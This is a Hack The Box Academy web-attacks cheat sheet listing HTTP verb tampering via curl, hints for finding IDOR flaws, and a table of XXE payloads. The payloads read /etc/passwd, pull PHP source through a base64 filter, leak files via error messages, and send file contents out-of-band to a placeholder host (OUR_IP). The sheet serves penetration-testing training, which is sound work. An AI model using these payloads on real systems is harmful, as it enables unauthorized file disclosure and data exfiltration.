HACKTHEBOX

# WEB ATTACKS
# CHEAT SHEET

## HTTP Verb Tampering

**HTTP Method**

- **HEAD**
- **PUT**
- **DELETE**
- **OPTIONS**
- **PATCH**

| Command | Description |
|---|---|
| `-X OPTIONS` | Set HTTP Method with Curl |

## IDOR

**Identify IDORS**

- In **URL parameters & APIs**
- In **AJAX Calls**
- By **understanding reference hashing/encoding**
- By **comparing user roles**

| Command | Description |
|---|---|
| `md5sum` | MD5 hash a string |
| `base64` | Base64 encode a string |

## XXE

| Code | Description |
| --- | --- |
| `<!ENTITY xxe SYSTEM "http://localhost/email.dtd">` | Define External Entity to a URL |
| `<!ENTITY xxe SYSTEM "file:///etc/passwd">` | Define External Entity to a file path |
| `<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">` | Read PHP source code with base64 encode filter |
| `<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">` | Reading a file through a PHP error |
| `<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">` | Reading a file OOB exfiltration |



HTB ACADEMY CHEATSHEET